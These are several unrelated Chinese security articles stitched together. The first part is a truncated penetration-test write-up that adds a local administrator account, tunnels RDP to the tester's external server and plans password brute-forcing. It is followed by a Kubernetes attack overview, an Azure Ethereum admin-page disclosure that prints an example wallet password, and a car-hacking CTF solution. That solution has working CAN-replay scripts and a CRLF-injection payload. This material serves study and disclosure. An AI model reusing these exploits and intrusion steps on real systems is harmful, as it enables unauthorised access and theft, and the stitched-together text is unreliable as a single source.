net localgroup administrators administer /add
#
**0x04 内网渗透**
接下来,我们就需要经一步查看和收集系统的一些常见信息来帮助我们进一步的内网渗透,通常包括以下信息:
1\. 系统信息 – systeminfo
2\. IP信息 – ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : EESTSWEB01 主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft 虚拟机总线网络适配器
物理地址. . . . . . . . . . . . . : 00-15-5D-00-02-01
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::98f7:e8a:3eeb:ff6%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.0.10(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.0.230
DHCPv6 IAID . . . . . . . . . . . : 234886493
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-1C-E6-6D-9C-00-15-5D-00-02-01
DNS 服务器 . . . . . . . . . . . : 192.168.0.1
TCPIP 上的 NetBIOS . . . . . . . : 已启用隧道适配器 isatap.{ADD2E201-9C5D-480F-8E29-F722627ABA6E}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是隧道适配器 Teredo Tunneling Pseudo-Interface:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
IPv6 地址 . . . . . . . . . . . . : 2001:0:7834:496d:18cf:134e:3f57:fff5(首选)
本地链接 IPv6 地址. . . . . . . . : fe80::18cf:134e:3f57:fff5%18(首选)
默认网关. . . . . . . . . . . . . : ::
TCPIP 上的 NetBIOS . . . . . . . : 已禁用
3\. 开放的端口信息 – netstat -an
4\. 运行的进程信息 – tasklist
5\. 局域网中公开的文件共享 – net view
6\. 局域网中的域的信息 – net view /domain
分析并提取有用信息:
根据上面的分析,我们发现目标服务器已经开放了RDP(3389)但是服务器是在内网我们无法直接外连。既然如此,我们可以考虑端口转发到我们自己的外网服务器然后在连接。
第一步, 上传端口转发工具(可以参考http://avfisher.win/archives/318)
第二步,外网服务器开启端口监听端口5001和5002
第三步,内网服务器开启端口转发,将本地端口3389转发到外网服务器监听的端口5002上
第四步,发起RDP外连外网服务器的端口5001
现在,我们已经成功地利用端口转发并RDP连接到了内网这台服务器上了。
打开XAMPP,我们可以很容易的查看网站的数据库数据:
为了进一步渗透内网,我们需要对内网进行扫描,看看内网开启了哪些服务,这里我推荐一款快速扫描内网的工具(MyLanViewer),结果如下:
内网的一些共享目录:(各种内部资料和信息)
一些内网的系统:
私有云云存储管理系统:(可以为共享目录设置权限)
无线路由器:(内网流量嗅探和截取)
打印机:(获取到了部分企业联系人的通讯录)
事实上,至此整个渗透仍旧没有结束,我们目前只是获得了一台WORKGROUP的服务器,而实际上仍旧有10几台服务器在EES域里,那么我们接下来该怎么突破呢?
其实可利用的思路还有很多,比如:
1\. 结合上面我们在内网扫到的通讯录以及我们之前搜集到的子域名邮箱
mail.***.sh.cn(见0x01),我们可以先根据邮箱地址生成一个密码字典进行暴力破解,看看能不能在用户的邮箱中获取其他有用的信息
2\. 继续挖掘和分析其他的子站可能存在的漏洞继而逐步突破
3\. 尝试破解上面获得的无线路由器密码嗅探网络流量获取企业员工的用户名和密码
在此就不再深入下去了!总之,渗透是一门特别的艺术,必须善于运用一切已获取的信息不断变换思路最终达成目的。
** 0x05 总结**
渗透是一个特别需要经验,细心和耐心的工作,你必须从黑客的角度去考虑每一个可能存在的漏洞进而利用并扩大战果。
总结上面的这次实战的结果,可以简单概括成以下几点:
1. 耐心: 必须有足够的耐心去搜集目标的一切可能相关的信息
2. 细心: 仔细地观察和了解你的目标,不放过每一个细节,从细节中获得突破口
3. 思路: 善于总结和归纳所有的已知信息,并结合在平时积累的各种渗透思路进一步扩大战果
4. 总结: 把每次实战中接触和学习到的东西总结起来并从中提取出实用的思路以便下次实战中的再次利用 | 社区文章 |
# 前言
作为云原生管理与编排系统的代表，Kubernetes（简称K8S）正受到越来越多的关注，有报告[1]显示，96% 的组织正在使用或评估
K8S，其在生产环境下的市场占有率可见一斑。
K8S 的功能十分强大，其系统复杂性也同样较高，一般而言，程序越复杂则越容易存在安全问题，自然而然地，K8S 集群也同样面临着严重的安全威胁，如 K8S
组件的未授权访问、容器逃逸和横向攻击等。我们说攻和防是相互促进、相伴而生的，作为相关安全人员首先应该从整体上把握业务架构可能面临的安全威胁才有可能做好防护。本文就以攻击者的视角来聊一聊在
K8S 集群架构下可能存在哪些可攻击的点。
根据以往的渗透测试经验，我们梳理了 K8S 集群架构下可能存在的安全问题，并在如图1的 K8S 集群基础架构图中标注了潜在的攻击点：
图1- K8S集群攻击点
本文将从图 1 出发，在介绍图中标注的攻击点的同时，总结一些在对 K8S 集群进行实际渗透测试的过程中常用的攻击方法。
本文共分为上、下两篇，本篇为上篇，主要介绍对 K8S 组件、节点对外服务、业务 pod
的攻击，以及容器逃逸，即对应图1的攻击点1~7。其余内容将在下篇介绍。
# K8S集群攻击点（1~7）
## 1\. 攻击点 1~4：攻击K8S组件
K8S 组件的问题主要是指各组件的不安全配置，攻击点1~4罗列了4个比较有代表性的组件问题，即 API Server 未授权访问、etcd
未授权访问、kubelet 未授权访问、kube-proxy 不安全配置。
除此之外，还有很多组件都存在着类似的安全问题，比如 dashboard、docker 等组件也存在未授权访问的隐患，这些都是 K8S
集群的重要系统组件，一旦被攻击成功，都是可以直接获得相应集群、节点或容器的权限的。
表1搜集了各个组件存在隐患的默认端口，供参考：
表1- K8S 各组件默认端口
## 2\. 攻击点5：攻击节点对外服务
除了正常的对外业务，可能还会有一些“隐藏”的对外开放服务，这些服务本不该暴露在外网，这种情况或是管理员疏忽所致，亦或是为了方便管理而故意留的一些接口，总之也是一个潜在的攻击点。
比如笔者之前遇到过 Mysql 对外服务存在弱口令登录的问题：目标系统的其中一个节点通过 NodePort 对外映射了 Mysql
服务端口，且经过尝试，通过弱口令可登录。这种情况就属于是管理员的安全意识不足。
说到对 Mysql 的攻击，我们在之前的渗透测试过程中总结了三条 Mysql 的攻击路径可供参考，如图2：
图2- Mysql 攻击路径
1. 通过 NodePort 等对外暴露的接口直接访问 Mysql，并通过弱口令登录数据库；（对应图2中步骤1）
2. 攻击应用程序，获取 pod 的 shell，在 pod 内通过环境变量发现 Mysql 服务的内网地址，然后尝试通过弱口令登录；（对应图2中步骤2-1、2-2）
3. 攻击应用程序，获取 pod 的 shell，并成功逃逸到节点，利用 docker inspect 查看或直接进入当前节点运行的Mysql 容器，可以看到其环境变量保存着数据库名、root密码和数据库的登录地址等信息（前提是 Mysql 容器要和应用容器部署在同一节点上，另外环境变量中是否会保存数据库密码等敏感信息取决于 Mysql 容器的具体配置）。（对应图2中步骤3-1、3-2、3-3）
## 3\. 攻击点6：攻击业务 pod
在云原生环境下，上层应用程序对攻击者来说就像是集群的一个个入口，攻击应用程序的目标就是突破入口，拿到业务环境也就是业务所在 pod 的 shell。
Web安全发展这么多年，可利用的漏洞非常之多，远的不说，就比如 2021 年年底曝出的 Log4j2-RCE
漏洞（CVE-2021-44228）以及前不久的 Spring-RCE漏洞（CVE-2022-22965），其危害非常之大，且其利用也很简单（比如
Log4j2 漏洞，虽然在高版本和低版本的JDK环境下利用方法不同，但网上都已经分别有非常多的现成EXP可用），一旦成功利用即可以完全接管整个业务pod。
尽管进入 pod
后的权限仍然是受限的，但总算是进入了集群内部，接下来可以通过尝试更多攻击手法，比如横向、逃逸等，逐步扩大战果，直至控制整个集群。在那之前，我们对 pod
本地也可以实施一些攻击，如信息搜集、提权、拒绝服务。
### 3.1 信息搜集
进入一个新 pod 中，首先要做的应该是搜集当前环境的信息。
一是搜集环境信息，为后续攻击做准备。如下是一些比较有价值的信息，可供参考：
* OS、Kernel、User 基本信息
* 可用的 Capabilities
* 可用的 Linu- x 命令
* 挂载情况
* 网络情况
* 云厂商的 metadata API 信息
二是敏感服务发现和敏感信息扫描。敏感服务发现可以通过扫描内网指定网段的端口，除了 K8S 组件的端口外，还有如下的常见服务端口：
* ssh：22
* http：80/8080
* https：443/8443
* mysql：3306
* cAdvisor：4194
* nodeport-service：30000-32767
敏感信息则包括业务相关的敏感文件（比如代码、数据库、业务涉及的 AK/secret 或者重要的配置文件等）、环境变量（可能暴露一些敏感服务信息）、K8S
的ServiceAccount 信息（默认保存在 /run/secrets/kubernetes.io/serviceaccount/
目录下）、进程信息（有无敏感服务）等。
### 3.2 提权
K8S 中有两种提权，一种是 pod 内提权，一种是 K8S 提权。
（一）Pod 内提权
pod 内提权和传统 Linux 提权差不多，就是将 pod 内普通用户的 shell 提升为 root 权限的 shell。一般来讲，即使拿到了 pod
的 shell 也只能拥有普通用户的权限，此时能做的事情依旧十分有限，所以需要利用提权漏洞拿到 root 权限。提权的方式有很多，比如内核漏洞提权、sudo
提权、suid 提权、cronjob 提权等。
值得一提的是，有些内核漏洞也可以用于容器逃逸，比如著名的 DirtyCow（CVE-2016-5195）、DirtyPipe（CVE-2022-0847）
等，这在下文的“容器逃逸”部分还会提到。
（二）K8S 提权
K8S 提权的方式和场景有很多，比如 RBAC 提权[2]，还有一些用于 K8S 提权的 Nday，比如
CVE-2018-1002105、CVE-2020-8559 等。
### 3.3 拒绝服务
拒绝服务（Denial of Service，DOS）攻击可以从三个层面来看：业务、pod、集群。
对业务和 pod 的 DOS 攻击可以通过使用一些压力测试工具或方法进行，主要可从 CPU、内存、存储、网络等方面进行资源耗尽型攻击。在集群外部或 pod
内都有相应的工具或方法，读者可自行搜索。
在集群层面的 DOS 攻击主要可以利用 K8S 集群的软件漏洞，如 CVE-2019-11253、CVE-2019-9512、CVE-2019-9514
等。
## 4.攻击点7：容器逃逸
在云攻防中，拿到容器/ pod 的 shell 往往只是攻击成功的第一步，因为容器本质上就是 Linux 中的一个进程，但是因为受到了 Namespace
和 Cgroup
等机制的诸多限制导致容器内的进程权限是非常低的，容器逃逸就是为了突破这些限制，所以其实容器逃逸也可以认为是一种提权。导致容器逃逸的原因总结起来可分为如下三类：容器不安全配置，相关组件漏洞和内核漏洞。
（1）容器不安全配置
容器不安全配置分为两种情况，第一种情况是赋予了容器危险权限，第二种情况是容器挂载了危险目录。具体如表2所示：
表2-容器不安全配置
危险权限指的是 privileged 权限（特权容器）和危险的Capabilities 权限（如
cap_sys_admin，cap_sys_module，cap_sys_dac_search
等），这些都可以在容器启动时通过启动参数设置。如前文所述，容器本质上是一个受限的进程，除了通过 Namespace 和
Cgroup限制了命名空间和资源外，还有 Capabilities、Apparmor、Seccomp
等安全机制限制了容器内进程的权限，如果容器被赋予了以上的危险权限，相当于限制容器的安全机制被打破，这就给攻击者打开了方便之门。
容器挂载危险目录会导致容器文件系统隔离被打破，进而获得特权。比如如果挂载了 /var/run/docker.sock，那么在容器内就能与 docker
守护进程通信，攻击者就可以创建一个特权容器然后逃逸。
这里提到的是容器逃逸攻击手法中最常见的一些不安全配置，此外 CIS Docker Benchmark[3] 针对 docker
容器提出的安全配置基准多达上百条，如此多的安全配置要求也导致了相比于漏洞防护，安全配置的问题往往更容易被忽略。而对攻击者而言，容器的不安全配置往往比下文将要提到的相关程序漏洞和内核漏洞更容易检测和利用。
（2）相关组件漏洞
容器集群环境中包含了非常多的组件程序，它们相互协作，共同构成了庞大的容器服务生态，这些组件包括但不仅限于
runc、containerd、docker、kubelet
等。任何程序都会有漏洞，容器相关的组件程序也不例外，但是这些漏洞和容器不安全配置相比，大多数利用起来都比较困难，例如 CVE-2019-5736
就需要宿主机和容器交互才会触发，而且该漏洞是 “一次性使用” 的并且容易暴露，因为它会破坏 runc。
表3 总结了一些相关组件的常见漏洞：
表3-容器相关组件的常见漏洞
（3）内核漏洞
容器和虚拟机最大的不同就是容器和宿主机共享内核，如果宿主机的内核存在漏洞，那么该主机上的所有容器都会受到影响。然而并非所有的内核漏洞都可以用于容器逃逸，下面是一些目前已知的可以用于容器逃逸的内核漏洞：
* CVE-2016-5195
* CVE-2017-1000112
* CVE-2017-7308
* CVE-2020-14386
* CVE-2021-22555
* CVE-2022-0185
* CVE-2022-0492
* CVE-2022-0847
同样地，内核漏洞的 EXP 利用起来也有风险，如果盲目尝试甚至有可能会导致目标系统崩溃（如果是在内部渗透测试或对系统进行安全检查时尤其需要注意）。
# 总结
本篇总结和分享了在 K8S 集群中对 K8S 组件、节点对外服务、业务 pod 进行攻击时和进行容器逃逸时的方法和经验，即图1的攻击点
1~7。在下篇中我们将继续聊一聊图1中的攻击点 8~12，包括横向攻击，以及对 K8S 管理平台、镜像库和第三方组件的攻击。
# 参考链接
1.<https://www.cncf.io/wp-content/uploads/2022/02/CNCF-Annual-Survey-2021.pdf>
2.<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
3.<https://github.com/dev-sec/cis-docker-benchmark>
1. <https://github.com/cdk-team/CDK>
2. <https://mp.weixin.qq.com/s/WaRECg79Nxx08iekakrlMA> | 社区文章 |
作者：sunsama@知道创宇404区块链安全研究团队
### **背景介绍**
为了迎合以太坊区块链[1]发展需求，Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下：
登陆Microsoft Azure：
部署Ethereum Proof-of-Work Consortium：
访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面：
我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问，这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。
Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3]，很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。
以太坊客户端开发库主要是提供了两种类型的API接口：RPC(Remote Procedure Call)及IPC(Inter-process
Communications)，在以往的攻击事件里很多关注点都在RPC接口上，而很少关注IPC接口，在本文的涉及“Blockchain
Admin”的问题就发生在IPC接口上，由此下面做了详细的代码分析：
### **代码分析**
在分析之前我们先介绍下PRC及IPC接口区别：
#### **IPC与RPC简介**
**IPC** (Inter-process
Communications)进程间通信，是指在不同进程之间传播或交换信息，IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效，在安装geth之后
IPC socket不会自动创建，并且他也不是一个永久的资源，只有在启动geth时才会创建一个IPC Socket。
有以下几个参数可以在启动geth时配置IPC相关服务，其他参数可以使用geth —help查看。
--ipcdisable Disable the IPC-RPC server
--ipcapi "admin,eth,debug,miner,net,shh,txpool,personal,web3" API's offered over the IPC-RPC interface
--ipcpath "geth.ipc" Filename for IPC socket/pipe within the datadir (explicit paths escape it)
在geth启动时使用 --ipcpath来指定一个IPC路径，会有一段信息指明IPC的相关信息。例如
IPC endpoint opened: /Users/username/Library/Ethereum/geth.ipc
Web3.js中提供了使用IPC通信的方法。
// Using the IPC provider in node.js
var net = require('net');
var web3 = new Web3('/Users/myuser/Library/Ethereum/geth.ipc', net); // mac os path
// or
var web3 = new Web3(new Web3.providers.IpcProvider('/Users/myuser/Library/Ethereum/geth.ipc', net)); // mac os path
// on windows the path is: "\\\\.\\pipe\\geth.ipc"
// on linux the path is: "/users/myuser/.ethereum/geth.ipc"
node_modules/web3/lib/web3/ipcprovider.js
var IpcProvider = function (path, net) {
var _this = this;
this.responseCallbacks = {};
this.path = path;
this.connection = net.connect({path: this.path});
...............
};
<https://github.com/ethereum/go-ethereum/wiki/Management-APIs>中给出了在命令行使用IPC的例子
**RPC** (Remote Procedure
Call)远程过程调用，指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法，分别是HTTP JSON RPC
API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。
在命令行中可以使用以下参数配置RPC服务。
--rpc 启用HTTP-RPC服务器
--rpcaddr value HTTP-RPC服务器接口地址(默认值:“localhost”)
--rpcport value HTTP-RPC服务器监听端口(默认值:8545)
--rpcapi value 基于HTTP-RPC接口提供的API
WebSocket
--ws 启用WS-RPC服务器
--wsaddr value WS-RPC服务器监听接口地址(默认值:“localhost”)
--wsport value WS-RPC服务器监听端口(默认值:8546)
--wsapi value 基于WS-RPC的接口提供的API
--wsorigins value websockets请求允许的源
同样的在Web3.js中也提供了使用RPC的方法。
Http Api
var Web3 = require('web3');
var web3 = new Web3('http://localhost:8545');
// or
var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));
WebSocket Api
// change provider
web3.setProvider('ws://localhost:8546');
// or
web3.setProvider(new Web3.providers.WebsocketProvider('ws://localhost:8546'));
/**
* HttpProvider should be used to send rpc calls over http
*/
var HttpProvider = function (host, timeout) {
this.host = host || 'http://localhost:8545';
this.timeout = timeout || 0;
};
以太坊黑色情人节事件中，攻击者就是利用了RPC接口进行恶意转账。
#### 流程分析
我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。
/home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。
命令行中的参数
var listenPort = process.argv[2]
var gethIPCPath = process.argv[3];
var coinbase = process.argv[4];
var coinbasePw = process.argv[5];
var consortiumId = process.argv[6];
var registrarHostEndpoint = process.argv[7];
var registrarConnectionString = process.argv[8];
var registrarDatatbaseId = process.argv[9];
var registrarCollectionId = process.argv[10];
定义了使用IPC服务
var web3IPC = new Web3(new Web3.providers.IpcProvider(gethIPCPath, require('net')));
··············
app.post('/', function(req, res) {
var address = req.body.etherAddress;//转账地址
var amount = req.body.amount;//转账数量
if(web3IPC.isAddress(address)) {
//如果提交的地址是以太坊地址则解锁账号
web3IPC.personal.unlockAccount(coinbase, coinbasePw, function(err, res) {
console.log(res);
//通过ipc方法发送一笔交易
web3IPC.eth.sendTransaction({from: coinbase, to: address, value: web3IPC.toWei(amount, 'ether')}, function(err, res){ console.log(address)});
});
req.session.isSent = true;
} else {
req.session.error = "Not a valid Ethereum address";
}
res.redirect('/');
});
使用POST方法提交后，会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的，这里判断地址正确后使用
**personl.unlockAccount()**
方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了，使用ps命令查看该服务的进程。
其中 **f9cdc590071d9993b198b08694e5edf376979ce6** 是我们的钱包地址， **123qweasdZXC**
是解锁钱包需要的密码， **/home/ethtest/.ethereum/geth.ipc** 是 **getIPCPath** 参数的内容。
personal.js中的 **unlockAccount** 方法。
var unlockAccount = new Method({
name: 'unlockAccount',
call: 'personal_unlockAccount',
params: 3,
inputFormatter: [formatters.inputAddressFormatter, null, null]
});
IpcProvider.js中对发送方法的定义。
IpcProvider.prototype.send = function (payload) {
if(this.connection.writeSync) {
var result;
// try reconnect, when connection is gone
if(!this.connection.writable)
this.connection.connect({path: this.path});
var data = this.connection.writeSync(JSON.stringify(payload));
try {
result = JSON.parse(data);
} catch(e) {
throw errors.InvalidResponse(data);
}
return result;
} else {
throw new Error('You tried to send "'+ payload.method +'" synchronously. Synchronous requests are not supported by the IPC provider.');
}
};
**ipcprovider** 会调用JSONRPC.js将 **unlockAccount** 方法中的参数格式化为JSON格式。
在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。
然后将数据通过socket写入。
接下来 **geth** 通过 **IPC** 接收到了请求的方法和参数，然后使用 **UnlockAccount**
函数进行账户解锁，解锁账户后使⽤eth.sendTransaction⽅法发送交易。
**sendTransaction** 方法会使用已经解锁后的本地账户的私钥进行签名，并使用 **SignedTransaction**
方法进行发送签名后的交易。
我们通过geth日志获取交易hash，在console中查看详细信息。
* 下面是从提交交易请求到生成交易并发送的流程图。
值得一提的是：在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth
⽽这个版本里UnlockAccount函数：
func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {
const max = uint64(time.Duration(math.MaxInt64) / time.Second)
var d time.Duration
if duration == nil {
d = 300 * time.Second
} else if *duration > max {
return false, errors.New("unlock duration too large")
} else {
d = time.Duration(*duration) * time.Second
}
err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)
return err == nil, err
}
wiki中对personal_unlockAccount方法的定义:
从keystore中解锁账户并获得私钥，并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间，默认超时为300秒，如果传⼊入的超时时间为0，则是永久不不会超时，账户⼀直处于解锁状态，直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。
### 风险评估
在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上，⽽基于本地进程通讯的IPC接口
被认为是相对安全可靠的，但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain
Admin”基于IPC调⽤程序，本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。（注：通过[ZoomEye⽹路空间搜索引擎](https://www.zoomeye.org
"ZoomEye⽹路空间搜索引擎")[7]可以看到曾经暴露在互联网上的目标。）
在实际测试分析过程发现使用Microsoft
Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链，部署共有链的情况较少，所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。
### 报告流程
针对以上问题我们第一时间联系了微软：
* 2018年5月21日 相关问题描叙报告给MSRC邮件 [email protected]
* 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
* 2018年5月24日 收到MSRC Case分配确认邮件
* 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
* 2018年7月6日 邮件MSRC追问相关问题修复进展
* 2018年7月10日 收到MSRC反馈邮件称：他们认为这个是设计考虑的问题，用户可以选择对管理页面进行限制，另外升级了Geth版本
### 总结
区块链虚拟货币安全事件频发，安全刻不不容。通过这次的案例可以得几点建议：
* 尽量避免使用这种自动化部署区块链应用的方案，如果必须使用的话，请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
* 修改默认端口，关闭对外的高权限接口，如果必须暴露在互联网，请对接口进行鉴权。
* 关注官方发布的更新日志，及时更新代码。
* * *
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
### 参考
[1]
<https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin>
[2] <https://azure.microsoft.com/en-us/>
[3] <https://github.com/ethereum/web3.js/>
[4] <https://github.com/ethereum/go-ethereum/wiki/Management-APIs>
[5] <https://paper.seebug.org/547/>
[6] <https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg>
[7] <https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22>
* * * | 社区文章 |
# 2022数字中国创新大赛车联网安全赛 best_agent 设计思路与解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文由 **伽玛实验室-mldwyy** 小姐姐提供，赛后将该题设计思路及解法公开供大家学习交流。
## 大赛背景介绍
2022年数字中国创新大赛网络安全赛道-车联网安全竞赛线上赛已经圆满结束。本届赛事由数字中国建设峰会指导，福建省通信管理局主办，中国信息通信研究院承办，永信至诚-伽玛实验室为大赛提供技术支持。
赛题内容紧密结合车联网实际应用场景和车联网安全技术应用发展状况，重点考察参赛选手或团队在车联网网络、设备、平台、应用、数据等方面的安全漏挖、测试、评估、运维、保障以及完成指定任务的理论和技术水平。
## 楔子
车联网的学习资料都相对较少，本次出题也是做了一个线上车辆模拟器。选手需要对车辆的CAN总线协议有一定了解，通过捕获流量包并分析内部数据，从而对汽车实现控制。时间关系，赛题实际上还可以再加上车辆重放攻击的利用过程，未来师傅们可以期待一下下。初尝试出这类车辆模拟的题目，可能会有疏忽的地方，有问题和建议师傅们可以在
“春秋GAME” 的群里提哈。
## 约法X章
1. CAN 流量分析
2. websocket 流量获取
3. git信息泄露
4. python CRLF 注入 CVE-2019-9947
5. Apache HTTPD 请求头解析futrue
## 致知力行
CAN总线优点：
1.硬件方案的软件化实现，简化了设计，降低了成本，且在数据更新增加新信息时，只需软件升级即可，扩充性强;
2.控制单元对所传输的信息进行实时检测，具有错误诊断能力和自动恢复能力，节省生产维护成本;
3.CAN总线符合国际标准，因此可应用不同型号控制单元间的数据传输;
4.数据共享减少了数据的重复处理，节省成本。如对于具有CAN总线接口的电喷发动机，其它电器可共享其提供的转速、水温、机油压力温度等，可省去额外的水温、油压、油温传感器。
打开题目，发现页面中提供了两个功能 `功能探索`和 `开车逃跑`，从控制台这里看到有websocket流量，路由为： “/test/log”。
到这里如果之前没有见到过can流量可能不是非常敏感，记得这个路由，回来再看，转到开车逃跑页面，提示我们按回车加速，发现也有websocket流量发出，结构与刚刚接到的十分类似。
逃跑页面提示我们”任务0”为打开左车门。
整理一下已知线索：
1.探索页面提供http方式触发操作，并且返回流量
2.逃跑页面提供个websocket方式触发操作
所以我们需要从探索页面找到http触发的那一个流量，在逃跑页面提交。
该关卡中所模拟的车辆可理解为ICSim的web版（其中的流量也是魔改ICSim产生的）。现在我们要做的事情如下:
触发动作 -- > 获取流量 –-> 提交流量
触发动作则是通过http请求，很容易就可以构造，关键在于需要对发出动作后的websocket流量进行分析，这就需要我们捕获websocket流量，在这里我选择python的websocket包直接与服务端建立连接。
如下：
ws = websocket.WebSocketApp("ws://ip:port/test/log",
on_message=on_message,
)
ws.run_forever()
“on_message”
作为接收到消息的回调接口，每次接收到流量都会调用此函数，我们可以在此函数中触发车辆动作，这样能确保后面获取到的流量都是此次触发动作相关的流量，我们以开右车门为例再次整理已知的线索：
在我们调用开右车门接口后，在CAN流量中可看到发出开右车门的请求流量，所以我们需多次调用开右车的接口，在后续流量中一直重复出现的那个，即为开右车门的请求流量。
完整代码如下：
import websocket
import eventlet
import requests
payload_list = []
eventlet.monkey_patch()
run_counts = 0
max_counts = 20
do_it = False
max_round = 5
url="192.168.244.133:7410"
def on_message(ws, message):
global max_counts
global do_it
global max_round
global url
if not do_it and max_counts > 0:
max_counts = max_counts - 1
if max_counts == 0:
if not do_it:
with requests.get(f"http://{url}/test/control?op=open_left") as f:
print(f.text)
do_it = not do_it
max_counts = 20
max_round = max_round - 1
if do_it and max_counts > 0:
with open(f"test/after_{max_round}.log", "a+") as f:
f.write(message)
max_counts = max_counts - 1
with open(f"test/after_{run_counts}.log","a+") as f:
f.write(message)
ws = websocket.WebSocketApp(f"ws://{url}/test/log",
on_message=on_message,
)
ws.run_forever()
通过这种方式，获取到开关左右车门，左转右转的流量，在逃跑页面发送，我这里也是调用python的socket包发送。
**注意：开关车门顺序必须按照解题的顺序。**
最终根据收集到的流量，整理出完整的poc：
import websocket
import time
payload_list = []
def on_message(ws, message):
print(message)
time.sleep(1)
if len(payload_list) > 0:
c = payload_list.pop()
ws.send(c)
def on_error(ws, error):
print(ws)
print(error)
def on_close(ws):
print(ws)
print("### closed ###")
def payload():
c = '17E#00000E000000'
print(c)
payload_list.append(c)
c = '17E#00000D000000'
print(c)
payload_list.append(c)
c = '17E#00000D000000'
print(c)
payload_list.append(c)
c = '17E#00000F000000'
print(c)
payload_list.append(c)
c = "244#000000502D"
print(c)
payload_list.append(c)
c = '19A#01000000'
print(c)
payload_list.append(c)
c = "244#00000050"
print(c)
payload_list.append(c)
c = '19A#02000000'
print(c)
payload_list.append(c)
payload_list.append("244#00000050")
payload_list.append("get")
payload_list.reverse()
url = "192.168.244.133:7410"
ws = websocket.WebSocketApp(f"ws://{url}/hack/control",
on_message=on_message,
on_error=on_error,
on_close=on_close)
if __name__ == '__main__':
payload()
ws.run_forever()
## 信息收集
这个页面提示：
看参数,是 `open.php`, 从header可以发现是python程序,但是参数是一个php,可以推想到是访问了内部的其他服务
又有提示`code history`, 涉及版本控制, 尝试 `/fetch/api?action=.git` 发现存在 `.git` 目录,尝试
`git-attack`。
下载后通过 Git 退回到初始版本,可以看到 index.php 源码
## CRLF
通过输入不是GET的socket的数据包发现报错，可以知道是python的服务，而python中使用
`urllib.request.urlopen`的http请求中，在历史版本可以找到是存在CRLF的
“index.php” 需发送”POST” 请求,但我们的接口只能构造GET请求,怎么才能发送POST请求呢?
联想 “CVE-2019-9947” 及 “apache” 特性,构造payload:
import urllib.error
import urllib.request
from urllib.parse import quote
import requests
txt = """/oen HTTP/1.1
Host: 127.0.0.1
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 39
{"get_flag_is_a_beautiful_thing":"yes"}
"""
url = "192.168.244.133:7410"#sys.argv[1]
if __name__ == '__main__':
try:
text = quote(txt, 'utf-8')
text = text.replace("%0A", "%0D%0A")
print("http://{url}/fetch/api?action="+text)
with requests.get(f"http://{url}/fetch/api?action="+text) as rep:
print(rep.text)
with requests.get(f"http://{url}/fetch/api?action=flag") as rep:
print(rep.text)
except urllib.error.URLError as e:
print(e)
后请求 `fetch/api?action=flag` 即可:
## 结语
